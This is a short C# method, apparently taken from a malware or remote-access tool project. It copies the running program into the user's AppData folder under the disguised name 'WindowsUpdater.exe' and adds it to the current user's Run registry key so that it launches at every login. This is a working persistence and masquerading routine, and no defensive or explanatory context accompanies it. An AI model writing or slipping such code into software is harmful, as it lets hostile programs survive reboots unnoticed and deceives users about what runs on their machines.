public void Persistance()
		{
			string filename = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\WindowsUpdater.exe";
			if (!File.Exists(filename))
				File.Copy(Application.ExecutablePath, filename);
			RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
			if (key.GetValue("WindowsUpdater") == null)
				key.SetValue("WindowsUpdater", filename);
			key.Close();
		}